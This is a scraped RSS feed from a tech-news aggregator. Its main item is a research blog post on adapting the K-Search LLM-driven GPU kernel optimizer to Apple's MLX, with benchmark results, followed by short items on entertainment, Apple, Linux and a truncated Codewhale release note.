<description><![CDATA[Figure 1: CUDA-to-MLX optimization translation map. CUDA optimization knowledge can be translated into architecture-native MLX strategies rather than copied instruction-for-instruction.

We face a new epoch in computing. Hardware is changing rapidly — not just faster GPUs, but a growing range of ...]]></description>
<link>https://tsecurity.de/de/3699701/ai-nachrichten/from-cuda-to-mlx-how-k-search-brings-decades-of-kernel-expertise-to-apple-silicon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699701/ai-nachrichten/from-cuda-to-mlx-how-k-search-brings-decades-of-kernel-expertise-to-apple-silicon/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:37 +0200</pubDate>
<content:encoded><![CDATA[<!-- twitter -->












<p class="center">
<img src="https://bair.berkeley.edu/static/blog/cuda-to-mlx-k-search/cover.svg" alt="Kernel knowledge transfer from CUDA to MLX"><br>
</p>

<p class="cuda-mlx-fig-caption"><strong>Figure 1: CUDA-to-MLX optimization translation map.</strong> CUDA optimization knowledge can be translated into architecture-native MLX strategies rather than copied instruction-for-instruction.</p>

<p>We face a new epoch in computing. Hardware is changing rapidly — not just faster GPUs, but a growing range of chips from different vendors, each with its own architecture and often tailored to specific AI workloads. Software is changing just as fast, and AI coding tools now generate in minutes what took months of effort a few years ago.</p>

<!--more-->

<p>With so much of computing now centered on AI, GPU kernels are a crucial component of its success. These are the low-level programs that run inside the GPU, and writing efficient ones is far from obvious — it takes years of expertise to get right. Transferring a kernel from one vendor’s hardware to another is harder still, and often means rediscovering the same optimizations from scratch. The CUDA ecosystem, for example, has accumulated decades of hard-won kernel expertise: hand-tuned implementations of attention, state space models, and other critical operations representing thousands of engineering hours. Newer hardware ecosystems (Apple Silicon, custom AI accelerators, and others) are growing fast but lack this depth.</p>

<p>In this work we ask whether that expertise can be transferred automatically. We built on <a href="https://arxiv.org/abs/2602.19128">K-Search</a>, an evolutionary kernel search framework introduced by Cao et al. at Berkeley Sky Lab that uses AI to optimize GPU kernels, and extended it with a backend for MLX — Apple’s machine-learning framework for its own Apple Silicon chips. We developed a novel structured CUDA-to-MLX translation layer that lets K-Search take existing CUDA kernels as a knowledge base and adapt them into high-quality GPU kernels for Apple Silicon, rather than rebuilding from scratch.</p>

<p>We show that our approach reaches near-expert level performance on Apple Silicon with 0.97x speedup compared to the native MLX Attention kernel, and up to a 20x prefill speedup over the community mlx-lm implementation on the Mamba SSM kernel; we report the numbers, and how much of the gain comes from the translation layer, in the sections below. Although we focus on MLX kernels for Apple Silicon, the method is not specific to MLX and applies to any ecosystem where CUDA expertise is transferable.</p>

<h2>Why MLX?</h2>

<p>Apple’s MLX framework has seen remarkable adoption since late 2023. With Apple Silicon in hundreds of millions of MacBooks and Mac Studios, MLX enables local AI inference without cloud costs. The unified memory architecture makes it especially attractive for mid-sized models (7B–70B parameters on M series chips).</p>

<p>Yet beneath this momentum lies a significant gap: many performance-critical kernels that the NVIDIA ecosystem takes for granted: paged attention, optimized SSM scan kernels, fused MoE routing are either absent or naive without hardware-specific tuning. MLX runs models correctly but often leaves significant performance on the table.</p>

<p>This gap is what motivates the rest of this post.</p>

<h2>What is K-Search?</h2>

<p>K-Search is an evolutionary kernel optimization framework originally developed by our first author Shiyi Cao at UC Berkeley Sky Lab. Given a naive kernel and a hardware specification, it runs an iterative optimization loop: an LLM reasons about which optimizations to try next, a code-writing model generates candidate kernels, and those candidates are compiled and benchmarked on real hardware.</p>

<p>Measurements feed back into the search, which keeps refining, pursuing promising directions and dropping dead ends until performance converges.</p>

<p class="center">
<img src="https://bair.berkeley.edu/static/blog/cuda-to-mlx-k-search/algorithm-01-k-search.svg" alt="Pseudocode for K-Search via co-evolving world models" width="460"><br>
</p>

<p class="cuda-mlx-fig-caption"><strong>Algorithm 1: K-Search via co-evolving world models.</strong> The search alternates between selecting the most promising action, instantiating and evaluating code until improvement stagnates, and evolving the world model through insert, update, and prune operations. Adapted from <a href="https://arxiv.org/abs/2602.19128">Cao et al. (2026)</a>.</p>

<p>Search is grounded by a Spec: a domain-specific document encoding hardware rules, optimization patterns, and mathematical constraints which keeps generated code from hallucinating invalid primitives and ensures candidates will actually compile and run efficiently.</p>

<p>In our runs, a single model (Gemini 3.5 Pro Preview) plays both roles: it maintains the reasoning state and writes the kernels. The reasoning half is prompted as a “GPU kernel performance engineer” and asked to work through a fixed analysis before proposing anything: classify the kernel (reduction, scan, attention/softmax, …), rewrite the reference computation in canonical form, map out data layout and access patterns, and hypothesize the likely bottleneck (bandwidth, latency, compute, or synchronization) in each runtime regime. Only then does it emit candidate optimizations, each as a single change implementable in one iteration.</p>

<p>We call the persistent reasoning state a <em>world model</em>. Rather than a flat list of things to try, it is a decision (prefix) tree: each root→leaf path composes a full optimization plan, and sibling branches are competing alternatives. Every node is scored — an <code class="language-plaintext highlighter-rouge">overall_rating</code> in [0, 10], a <code class="language-plaintext highlighter-rouge">confidence</code> in [0, 1], and per-node <code class="language-plaintext highlighter-rouge">impacts</code> on memory bandwidth, register pressure, and compute/hardware fit — so the search can rank partial plans and expand the most promising ones. The tree persists and grows across rounds: refining an idea adds a child node rather than overwriting its parent, and if the best score fails to improve for a few rounds (a stagnation window) the search backs off to explore an alternative branch. A single node, as it appears mid-run on the attention kernel, looks like this:</p>

<div class="post-code-compact">

  <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Replace the threadgroup-memory softmax reduction
             with a register-only reduction: each SIMD group
             owns 8 query rows and reduces across lanes with
             simd_shuffle_xor, removing a threadgroup_barrier."</span><span class="p">,</span><span class="w">
  </span><span class="nl">"difficulty_1_to_5"</span><span class="p">:</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="w">
  </span><span class="nl">"impacts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"memory_bandwidth"</span><span class="p">:</span><span class="w">  </span><span class="mi">8</span><span class="p">,</span><span class="w">
    </span><span class="nl">"register_pressure"</span><span class="p">:</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="w">   </span><span class="err">//</span><span class="w"> </span><span class="err">risk:</span><span class="w"> </span><span class="err">spill</span><span class="w"> </span><span class="err">if</span><span class="w"> </span><span class="err">Br</span><span class="w"> </span><span class="err">&gt;</span><span class="w"> </span><span class="mi">8</span><span class="w">
    </span><span class="nl">"compute_hw_fit"</span><span class="p">:</span><span class="w">    </span><span class="mi">9</span><span class="w">    </span><span class="err">//</span><span class="w"> </span><span class="err">SIMD</span><span class="w"> </span><span class="err">width</span><span class="w"> </span><span class="mi">32</span><span class="err">;</span><span class="w"> </span><span class="err">keep</span><span class="w"> </span><span class="err">tile</span><span class="w"> </span><span class="mi">8</span><span class="err">x</span><span class="mi">8</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"overall_rating_0_to_10"</span><span class="p">:</span><span class="w"> </span><span class="mi">8</span><span class="p">,</span><span class="w">
  </span><span class="nl">"confidence_0_to_1"</span><span class="p">:</span><span class="w"> </span><span class="mf">0.7</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div>  </div>

</div>

<p class="cuda-mlx-fig-caption"><strong>Listing 1: Example K-Search world-model node.</strong> Each candidate optimization records a concrete action, estimated hardware impacts, an overall priority rating, and the model's confidence.</p>

<p class="center">
<img src="https://bair.berkeley.edu/static/blog/cuda-to-mlx-k-search/best-figure-01-ksearch-loop.svg" alt="Overview of the K-Search loop" width="700"><br>
</p>

<p class="cuda-mlx-fig-caption"><strong>Figure 2: Overview of K-Search.</strong> The framework operates on a <strong>Search State</strong> $S_t$ structured as a search tree. The tree consists of Closed nodes (blue, visited states with attached program like $x_{12}$) and a Frontier of Open nodes (orange, pending hypotheses like $u_{13}$). The workflow iterates through three phases: (1) <strong>Action Selection</strong>, where the most promising action node is retrieved from the frontier based on world model estimated priority score $V$; (2) <strong>Local Refinement</strong>, where a stochastic policy $\pi_{\mathrm{code}}$ samples concrete implementations until stagnation; and (3) <strong>World Model Update</strong>, where the LLM reasons over the trajectory to update the search tree via <em>Insert</em> (adding new actions), <em>Update</em> (adjusting $V$, e.g., $u_{11}$ dropping from 0.9 to 0.6), and <em>Prune</em> (removing less promising nodes like $u_{10}$).</p>

<p>The original K-Search paper evaluated this search strategy on CUDA kernels from FlashInfer. Across GQA decode, MLA decode, MLA prefill, and MoE, K-Search improved more consistently than OpenEvolve and ShinkaEvolve over the same 120-iteration budget. These results establish the search framework we build on here; the remainder of this post asks whether its optimization knowledge can transfer beyond CUDA.</p>

<p class="center">
<img src="https://bair.berkeley.edu/static/blog/cuda-to-mlx-k-search/best-figure-03-ksearch-main-results.svg" alt="K-Search benchmark results compared with OpenEvolve and ShinkaEvolve" width="900"><br>
</p>

<p class="cuda-mlx-fig-caption"><strong>Figure 3: Main results from the original K-Search paper.</strong> Across three runs, K-Search achieves stronger best-so-far search scores, per-workload kernel performance, and speedup distributions than OpenEvolve and ShinkaEvolve on four FlashInfer CUDA kernels. Reproduced exactly from <a href="https://arxiv.org/abs/2602.19128">Cao et al. (2026)</a>.</p>

<h2>Building an MLX backend</h2>

<p>To bring K-Search to Apple Silicon, we first built a native MLX backend. We implemented a full MLX-specific task adapter for K-Search, including:</p>

<ul>
  <li>An MLX task backend in <code class="language-plaintext highlighter-rouge">k_search/tasks/</code> handling kernel compilation and execution on Apple Silicon via MLX’s Metal/C++ APIs.</li>
  <li>Updated kernel generator prompts for writing and modifying Metal/MLX kernels.</li>
  <li>MLX-specific benchmarking integration using <code class="language-plaintext highlighter-rouge">mlx.core</code> measurement utilities.</li>
</ul>

<h2>Translating CUDA expertise to MLX</h2>

<p>However, the more interesting challenge was not simply running K-Search on MLX. The key insight is that expert CUDA kernels encode decades of optimization knowledge that is transferable to Apple GPU if you can bridge the conceptual gap. Simply handing an LLM a CUDA kernel and asking it to port it is not enough: without deep hardware context, it produces code that is syntactically valid but architecturally wrong (wrong tile sizes, invalid primitives, mismatched memory assumptions).</p>

<p>Our translation layer consists of:</p>

<ul>
  <li><strong>Concept mapping tables:</strong> A structured glossary of CUDA primitives and their MLX/Metal equivalents with hard constraints. For example:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">__shared__</code> maps to Metal <code class="language-plaintext highlighter-rouge">threadgroup</code> memory but with a hard 32 KB limit (vs. NVIDIA’s 48 KB)</li>
      <li><code class="language-plaintext highlighter-rouge">warp_reduce</code> maps to MMA (preferred)</li>
      <li><code class="language-plaintext highlighter-rouge">__syncthreads()</code> becomes <code class="language-plaintext highlighter-rouge">threadgroup_barrier(mem_flags::mem_tg)</code></li>
      <li>H100’s ~3.35 TB/s HBM3 maps to M3 Max’s ~400 GB/s unified DRAM a bandwidth difference that reshapes which optimizations are worth pursuing.</li>
    </ul>
  </li>
  <li><strong>MLX-specific hints and patterns:</strong> Concrete code-level patterns for operations with no direct CUDA equivalent, such as register-based row reductions using <code class="language-plaintext highlighter-rouge">simd_shuffle_xor</code> in an 8×8 MMA tile layout, or the “exp2 trick” (replacing $exp(x)$ with $exp_2(x \log_2 e)$) for faster softmax on Apple’s fast $exp_2$ hardware instruction.</li>
  <li><strong>Reusable assertions:</strong> Expert kernel behaviors reframed as properties the evolutionary search must preserve, rather than code to copy.</li>
</ul>

<h2>Matching expert kernel performance: the Attention kernel</h2>

<p>We evaluate three configurations of an MLX attention kernel for Apple Silicon: (1) a naive baseline, (2) pure evolution with no additional provided context, and (3) a full context translation layer, which supplies the optimizer with architecture-specific implementation knowledge extracted from high-performance kernels (e.g., FlashAttention-2), letting the evolutionary search reason about implementation strategies rather than starting from a naive kernel. Together, these three configurations let us isolate the exact impact of the translation layer.</p>

<p class="center">
<img src="https://bair.berkeley.edu/static/blog/cuda-to-mlx-k-search/best-figure-02-attention-optimizations.svg" alt="Performance scaling of the Attention Kernel through stacked optimizations" width="700"><br>
</p>

<p class="cuda-mlx-fig-caption"><strong>Figure 4:</strong> Performance scaling of the Attention Kernel through stacked optimizations. The "Full Context" configuration successfully discovers and implements advanced strategies like double buffering and loop unrolling, achieving near-expert performance.</p>

<p>The jump from 0.26× to 0.97× the speed of Apple’s state-of-the-art attention kernel — illustrates how much the translation layer matters. With full context, the evolved kernel independently discovers the key optimizations in FlashAttention 2: threadgroup memory tiling, online softmax, K-transposition for memory access, and the exp2 trick. The last of these replaces every softmax exponential with a base-2 exponential,</p>

\[e^x = 2^{x \log_2 e},\]

<p>which is exact and lets the kernel use Apple’s fast <code class="language-plaintext highlighter-rouge">fast::exp2()</code> hardware instruction directly instead of paying for a base conversion at runtime.</p>

<h2>A 20× faster prefill: the Mamba SSM kernel</h2>

<p>To evaluate whether K-Search generalizes beyond attention kernels, we applied it to the state-space model (SSM) kernel used by Mamba. Unlike attention, the computational bottleneck is a recurrent state update rather than a softmax, providing a substantially different optimization challenge. We compare the evolved implementation against the community MLX implementation (mlx-lm) and the PyTorch reference implementation (mamba.py) on an M1 Max.</p>

<p>Evaluated on mamba-370m f16, M1 Max 64GB:</p>

<div class="cuda-mlx-results-table">

  <table>
    <thead>
      <tr>
        <th>Metric</th>
        <th>mlx-mamba (ours)</th>
        <th>mlx-lm (community)</th>
        <th>mamba.py</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>Decode</td>
        <td>152 tok/s</td>
        <td>116 tok/s</td>
        <td>40 tok/s</td>
      </tr>
      <tr>
        <td>Prefill L=512</td>
        <td>5,751 tok/s</td>
        <td>329 tok/s</td>
        <td>1,089 tok/s</td>
      </tr>
      <tr>
        <td>Prefill L=1024</td>
        <td>6,010 tok/s</td>
        <td>327 tok/s</td>
        <td>1,127 tok/s</td>
      </tr>
      <tr>
        <td>Prefill L=2048</td>
        <td>6,612 tok/s</td>
        <td>326 tok/s</td>
        <td>1,092 tok/s</td>
      </tr>
      <tr>
        <td>Prefill L=4096</td>
        <td>6,743 tok/s</td>
        <td>339 tok/s</td>
        <td>1,042 tok/s</td>
      </tr>
    </tbody>
  </table>

</div>

<p class="cuda-mlx-fig-caption"><strong>Table 1:</strong> Prefill and decode throughput on mamba-370m (f16, M1 Max 64GB). mlx-mamba (ours) reaches ~20× higher prefill throughput than the community mlx-lm baseline, while decode remains comparable.</p>

<p>The ~20× prefill speedup over mlx-lm comes down to one difference: mlx-lm does not implement a parallel scan for the SSM. The state recurrence</p>

\[h_t = \bar{a}_t h_{t-1} + \bar{b}_t\]

<p>looks inherently sequential, but each step can be written as a pair $(\bar{a}_t, \bar{b}_t)$ under the associative combine</p>

\[(a_2, b_2) \circ (a_1, b_1) = \left(a_2 a_1,\ a_2 b_1 + b_2\right),\]

<p>which reproduces the recurrence exactly. Because the operator is associative, the whole sequence can be evaluated with a parallel (prefix) scan in $O(\log N)$ dependent steps instead of $O(N)$. mlx-lm skips this and processes tokens one at a time, leaving most of Apple Silicon’s compute idle; our evolved Metal kernel applies the scan and makes much fuller use of GPU throughput. The gain shows up in prefill, where the full sequence is available to scan in parallel, and not in single-token decode, where there is only one new token per step and no scan to parallelize — which is why the decode row is roughly flat while prefill is ~20×.</p>

<p>mamba.py is slow on both prefill and decode because it is a PyTorch reference implementation that falls back to CPU or MPS on Apple Silicon, forgoing the hardware-specific optimizations that MLX’s Metal backend makes possible.</p>

<h2>What’s next?</h2>

<p>On the two kernels we studied, AI-driven evolutionary kernel search grounded in structured cross-platform translation knowledge reached near-expert performance on Apple Silicon without a team of GPU experts starting from scratch. We do not yet know how far this generalizes, but the result is encouraging.</p>

<p>For us the main takeaway is that the bottleneck was not the LLM’s ability to write Metal code, but the quality of the context and constraints we gave it. Our CUDA translation layer converts existing NVIDIA kernel expertise into actionable guidance for Apple Silicon, and lets K-Search’s evolutionary search do the rest.</p>

<p>We are actively extending this work in several directions: supporting new architectures, with current efforts focused on developing new kernels for the IBM Spyre AIU and broader hardware targets; adding more kernels such as paged attention and fused MoE routing; and improving integration with the K-Search evolution loop to make translation context even more automatic.</p>

<h2>Acknowledgements</h2>

<p>This work was carried out by IBM Research and builds on K-Search from the UC Berkeley Sky Lab (<a href="https://arxiv.org/abs/2602.19128">Cao et al., 2026</a>). We welcome collaboration and feedback from the MLX and broader AI systems communities. If you are working on kernel optimization for non-CUDA hardware, we would love to hear from you.</p>

<hr>

<h2>Citation</h2>

<div class="language-bibtex highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">@article</span><span class="p">{</span><span class="nl">cao2026k</span><span class="p">,</span>
  <span class="na">title</span><span class="p">=</span><span class="s">{K-Search: LLM Kernel Generation via Co-Evolving Intrinsic World Model}</span><span class="p">,</span>
  <span class="na">author</span><span class="p">=</span><span class="s">{Cao, Shiyi and Mao, Ziming and Gonzalez, Joseph E and Stoica, Ion}</span><span class="p">,</span>
  <span class="na">journal</span><span class="p">=</span><span class="s">{arXiv preprint arXiv:2602.19128}</span><span class="p">,</span>
  <span class="na">year</span><span class="p">=</span><span class="s">{2026}</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="post-appendix">

  <h2>Appendix: Try it yourself</h2>

  <p>The MLX backend is built on top of the open-source K-Search repo, so the results here can be reproduced directly. The steps are:</p>

  <p>1. Clone and install</p>

  <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/caoshiyi/K-Search.git
<span class="nb">cd </span>K-Search

uv pip <span class="nb">install </span>openai wandb
uv pip <span class="nb">install </span>git+https://github.com/caoshiyi/flashinfer-bench-ksearch.git
</code></pre></div>  </div>

  <p>2. Set your credentials</p>

  <p>Open the relevant script under scripts/ and set three variables at the top:</p>

  <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">KSEARCH_ROOT</span><span class="o">=</span>/path/to/K-Search
<span class="nv">API_KEY</span><span class="o">=</span>your-llm-api-key
</code></pre></div>  </div>

  <p>3. Run kernel search</p>

  <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Optimize Flash Attention on Apple Silicon (world-model mode)</span>
bash scripts/mac_flash_attention_wm.sh

<span class="c"># Or a Mamba SSM kernel, e.g. the selective scan</span>
bash scripts/mamba_selective_scan_fwd_wm.sh
</code></pre></div>  </div>

  <p>Full CLI reference and documentation are in the README.</p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Watch the full Mayday San Diego Comic-Con panel from Apple TV]]></title>
<description><![CDATA[Apple TV has released the full San Diego Comic-Con 2026 panel for Mayday, giving fans a closer look at the upcoming action comedy ahead of its September premiere. The panel features directors Jonathan Goldstein and John Francis Daley, who discuss the film's story, production, and behind the scene...]]></description>
<link>https://tsecurity.de/de/3698994/ios-mac-os/watch-the-full-mayday-san-diego-comic-con-panel-from-apple-tv/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698994/ios-mac-os/watch-the-full-mayday-san-diego-comic-con-panel-from-apple-tv/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:20 +0200</pubDate>
<content:encoded><![CDATA[Apple TV has released the full San Diego Comic-Con 2026 panel for Mayday, giving fans a closer look at the upcoming action comedy ahead of its September premiere. The panel features directors Jonathan Goldstein and John Francis Daley, who discuss the film's story, production, and behind the scenes moments from the highly anticipated Apple Original Film.



The Comic-Con session gives viewers an extended conversation with the filmmakers, who explain how Mayday blends large scale action with comedy. They also share details about building the film's Cold War setting, filming its aerial sequences, and working with the cast.



The panel was part of Apple's first ever Hall H presentation at San Diego Comic-Con, where the company also showcased upcoming projects including Dark Matter, Silo, Widow's Bay, and Matchbox The Movie. Josh Horowitz moderated the event.



What is Mayday about?



Mayday stars Ryan Reynolds as U.S. Navy pilot Lieutenant Troy "Assassin" Kelly, who is sent on a secret mission into Soviet territory during the Cold War. When the operation goes wrong, he finds himself stranded behind enemy lines and forced to team up with an unlikely ally to survive.



The film also stars Kenneth Branagh and mixes fast paced action with comedy throughout its story. Apple has confirmed that Mayday will premiere globally on Apple TV on September 4, 2026.




https://youtu.be/jFVsXXmlVtE




The full Comic-Con panel offers more than a standard interview. It provides fresh insight into the film's production, reveals new details about the creative process, and gives fans a better idea of what to expect when Mayday arrives on Apple TV next month.



If you have been waiting for more information after the trailer, this panel is the most detailed preview Apple has released so far.]]></content:encoded>
</item>
<item>
<title><![CDATA[Tom Holland Shares Early Plans for Passing the Spider-Man Torch]]></title>
<description><![CDATA[Tom Holland has become one of the most recognizable faces in the Marvel Cinematic Universe since putting on the iconic superhero suit in 2016. With his highly anticipated film, Spider-Man: Brand New Day, arriving in theaters today, July 31, 2026, the actor is already thinking about the long-term ...]]></description>
<link>https://tsecurity.de/de/3699011/ios-mac-os/tom-holland-shares-early-plans-for-passing-the-spider-man-torch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699011/ios-mac-os/tom-holland-shares-early-plans-for-passing-the-spider-man-torch/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:20 +0200</pubDate>
<content:encoded><![CDATA[Tom Holland has become one of the most recognizable faces in the Marvel Cinematic Universe since putting on the iconic superhero suit in 2016. With his highly anticipated film, Spider-Man: Brand New Day, arriving in theaters today, July 31, 2026, the actor is already thinking about the long-term future of the character. He recently revealed that he has a “clear vision” for how to eventually hand over the role to the next web-slinger.



Holland says the transition is already mapped out



During a recent appearance on the ‘Happy Sad Confused’ podcast, Holland shared that discussions about replacing him actually started years ago. The planning began right after they finished working on Spider-Man: No Way Home in 2021. According to the actor, Marvel Studios and Sony Pictures already have a roadmap for the future.




"There's a whole plan that we have been working on," Holland explained on the podcast. "It's laid out. It's gonna change for sure, but I have a really clear vision to the passing on of the baton, and I think it's really exciting."




He has previously mentioned how much he wants to mentor the next actor, comparing his desired role to how Robert Downey Jr. helped him when he first joined the MCU as Peter Parker. Holland is passionate about setting up the next chapter of the franchise, whether the future focuses on a new version of the hero like Miles Morales, Spider-Gwen, or Spider-Woman.



It remains to be seen who will eventually wear the mask next. In a separate interview earlier this summer with Esquire UK, Holland actually suggested that 16-year-old Adolescence star Owen Cooper would be a great choice for a future Peter Parker.



While Holland’s exit does not seem immediate given today’s movie release, fans can rest easy knowing there is a thoughtful plan in place to keep the franchise alive and well.]]></content:encoded>
</item>
<item>
<title><![CDATA[Tim Cook Ends His Last Apple Earnings Call With Thank You Message]]></title>
<description><![CDATA[Tim Cook used his final Apple earnings call to thank shareholders and analysts before handing future quarterly calls to incoming CEO John Ternus. The outgoing Apple chief kept the farewell brief and returned to the usual discussion of revenue, products, and financial performance.




“As you know...]]></description>
<link>https://tsecurity.de/de/3699033/ios-mac-os/tim-cook-ends-his-last-apple-earnings-call-with-thank-you-message/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699033/ios-mac-os/tim-cook-ends-his-last-apple-earnings-call-with-thank-you-message/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:20 +0200</pubDate>
<content:encoded><![CDATA[Tim Cook used his final Apple earnings call to thank shareholders and analysts before handing future quarterly calls to incoming CEO John Ternus. The outgoing Apple chief kept the farewell brief and returned to the usual discussion of revenue, products, and financial performance.




“As you know, this will be my final earnings call, and John will lead these calls going forward,” Tim Cook said. “I couldn’t be more confident in his leadership, in our executive team, and in the extraordinary people at Apple.”




Cook also described the leadership transition as smooth and said he felt optimistic about Apple’s future under Ternus. Analysts later thanked him for his leadership as the call moved into its regular question-and-answer section.



Tim Cook ends a 15-year earnings call run



Cook has led every quarterly earnings call since becoming Apple CEO in 2011, completing more than 60 calls during his time in charge. He also appeared on several calls before taking the top job, when Steve Jobs often left financial discussions to Cook and former CFO Peter Oppenheimer.



Apple earnings calls usually begin with prepared remarks before analysts ask questions about revenue, profit margins, product demand, and future plans. Cook regularly avoided discussing unreleased products, while still offering broader comments about Apple’s strategy and performance.



After these calls, Cook often walked around Apple Park to relax and reflect. In a 2020 interview, he said the campus helped make major business problems feel smaller.



Cook’s final call arrived after Apple reported another record quarter, although its share price still fell around 8% in after-hours trading. His short farewell closed a long chapter of Apple’s financial history while preparing investors for Ternus to take over future calls.]]></content:encoded>
</item>
<item>
<title><![CDATA[Minecraft: Java Edition system requirements get bumped up ahead of Vulkan support]]></title>
<description><![CDATA[With Minecraft: Java Edition getting a big rendering upgrade with Vulkan, it was time for the system requirements to get adjusted.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3698942/linux-tipps/minecraft-java-edition-system-requirements-get-bumped-up-ahead-of-vulkan-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698942/linux-tipps/minecraft-java-edition-system-requirements-get-bumped-up-ahead-of-vulkan-support/</guid>
<pubDate>Mon, 03 Aug 2026 00:14:59 +0200</pubDate>
<content:encoded><![CDATA[With Minecraft: Java Edition getting a big rendering upgrade with Vulkan, it was time for the system requirements to get adjusted.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/420219173id29453gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/minecraft-java-edition-system-requirements-get-bumped-up-ahead-of-vulkan-support/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[$] Progress toward compiling Linux with gccrs]]></title>
<description><![CDATA[The 
gccrs project, which is creating a Rust frontend for the GCC compiler, has
spent the first half of 2026 focusing on compiling the Linux
kernel. By testing the compiler against the kernel crates, the
development team has made significant progress toward generating correct code
for other Rust ...]]></description>
<link>https://tsecurity.de/de/3698900/linux-tipps/progress-toward-compiling-linux-with-gccrs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698900/linux-tipps/progress-toward-compiling-linux-with-gccrs/</guid>
<pubDate>Mon, 03 Aug 2026 00:14:21 +0200</pubDate>
<content:encoded><![CDATA[<p>
The <a href="https://rust-gcc.github.io/">
<tt>gccrs</tt> project</a>, which is creating a Rust frontend for the GCC compiler, has
spent the first half of 2026 focusing on compiling the Linux
kernel. By testing the compiler against the kernel crates, the
development team has made significant progress toward generating correct code
for other Rust programs. As detailed in the project's
<a href="https://github.com/Rust-GCC/Reporting/tree/main/2026">
weekly</a> and
<a href="https://rust-gcc.github.io/#status-reports">
monthly</a> reports, this effort has uncovered and resolved problems
in areas such as
attribute handling (described in the
<a href="https://rust-gcc.github.io/2026/03/10/2026-02-monthly-report.html">
report for February</a>), name resolution, and resource management (both
<a href="https://rust-gcc.github.io/2026/06/02/2026-05-monthly-report.html">
detailed in the May report</a>). Currently, the compiler can only handle simple
standalone programs, but that situation could change rapidly in the coming
months.
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[15 Linux Interview Questions and Answers for System Administrators]]></title>
<description><![CDATA[The post 15 Linux Interview Questions and Answers for System Administrators first appeared on Tecmint: Linux Howtos, Tutorials & Guides .Most Linux interview lists recycle the same 10 questions from a decade ago, and many of the “official” answers are
The post 15 Linux Interview Questions and Ans...]]></description>
<link>https://tsecurity.de/de/3698791/unix-server/15-linux-interview-questions-and-answers-for-system-administrators/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698791/unix-server/15-linux-interview-questions-and-answers-for-system-administrators/</guid>
<pubDate>Mon, 03 Aug 2026 00:13:11 +0200</pubDate>
<content:encoded><![CDATA[The post <a href="https://www.tecmint.com/linux-interview-questions-with-answers/">15 Linux Interview Questions and Answers for System Administrators</a> first appeared on <a href="https://www.tecmint.com/">Tecmint: Linux Howtos, Tutorials &amp; Guides</a> .<p>Most Linux interview lists recycle the same 10 questions from a decade ago, and many of the “official” answers are</p>
The post <a href="https://www.tecmint.com/linux-interview-questions-with-answers/">15 Linux Interview Questions and Answers for System Administrators</a> first appeared on <a href="https://www.tecmint.com/">Tecmint: Linux Howtos, Tutorials &amp; Guides</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: v0.9.3]]></title>
<description><![CDATA[Codewhale is the public product from Shannon Labs. The codewhale
command, npm package, and release-asset names remain lowercase technical
identifiers. The legacy npm package deepseek-tui is deprecated and
receives no further releases. Users coming from v0.8.x legacy deepseek /
deepseek-tui names ...]]></description>
<link>https://tsecurity.de/de/3698713/downloads/github-v093/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698713/downloads/github-v093/</guid>
<pubDate>Mon, 03 Aug 2026 00:12:53 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><p><strong>Codewhale</strong> is the public product from Shannon Labs. The <code>codewhale</code><br>
command, npm package, and release-asset names remain lowercase technical<br>
identifiers. The legacy npm package <code>deepseek-tui</code> is deprecated and<br>
receives no further releases. Users coming from v0.8.x legacy <code>deepseek</code> /<br>
<code>deepseek-tui</code> names should migrate with <code>docs/REBRAND.md</code>.</p>

<h2>Install</h2>
<h3>Recommended — npm (one command, all three entrypoints)</h3>
<pre>npm install -g codewhale</pre>
<p>The wrapper downloads the matched <code>codewhale</code>, <code>codew</code>, and <code>codewhale-tui</code><br>
binaries from this Release and places them in the same directory.</p>
<h3>Docker / GHCR</h3>
<pre>docker run --rm -it \
  -e DEEPSEEK_API_KEY="$DEEPSEEK_API_KEY" \
  -v codewhale-home:/home/codewhale/.codewhale \
  ghcr.io/hmbown/codewhale:v0.9.3</pre>
<p>The image ships the <code>codewhale</code> dispatcher, <code>codew</code> shim, and <code>codewhale-tui</code> runtime. The <code>latest</code> tag is also updated on release.</p>
<h3>Cargo (Linux / macOS)</h3>
<pre>cargo install codewhale-cli codewhale-tui --locked</pre>
<p>Both crates are required — <code>codewhale-cli</code> produces the <code>codewhale</code> dispatcher and <code>codew</code> shim, while <code>codewhale-tui</code> produces the interactive runtime that the dispatcher delegates to. Installing only one crate will fail at runtime with a <code>MISSING_COMPANION_BINARY</code> error.</p>
<h3>Manual download — platform archives (recommended)</h3>
<p>Each archive below contains the <code>codewhale</code> dispatcher, <code>codew</code> shim, and <code>codewhale-tui</code> runtime, plus an install script:</p>



Platform
Archive
Install script




Linux x64
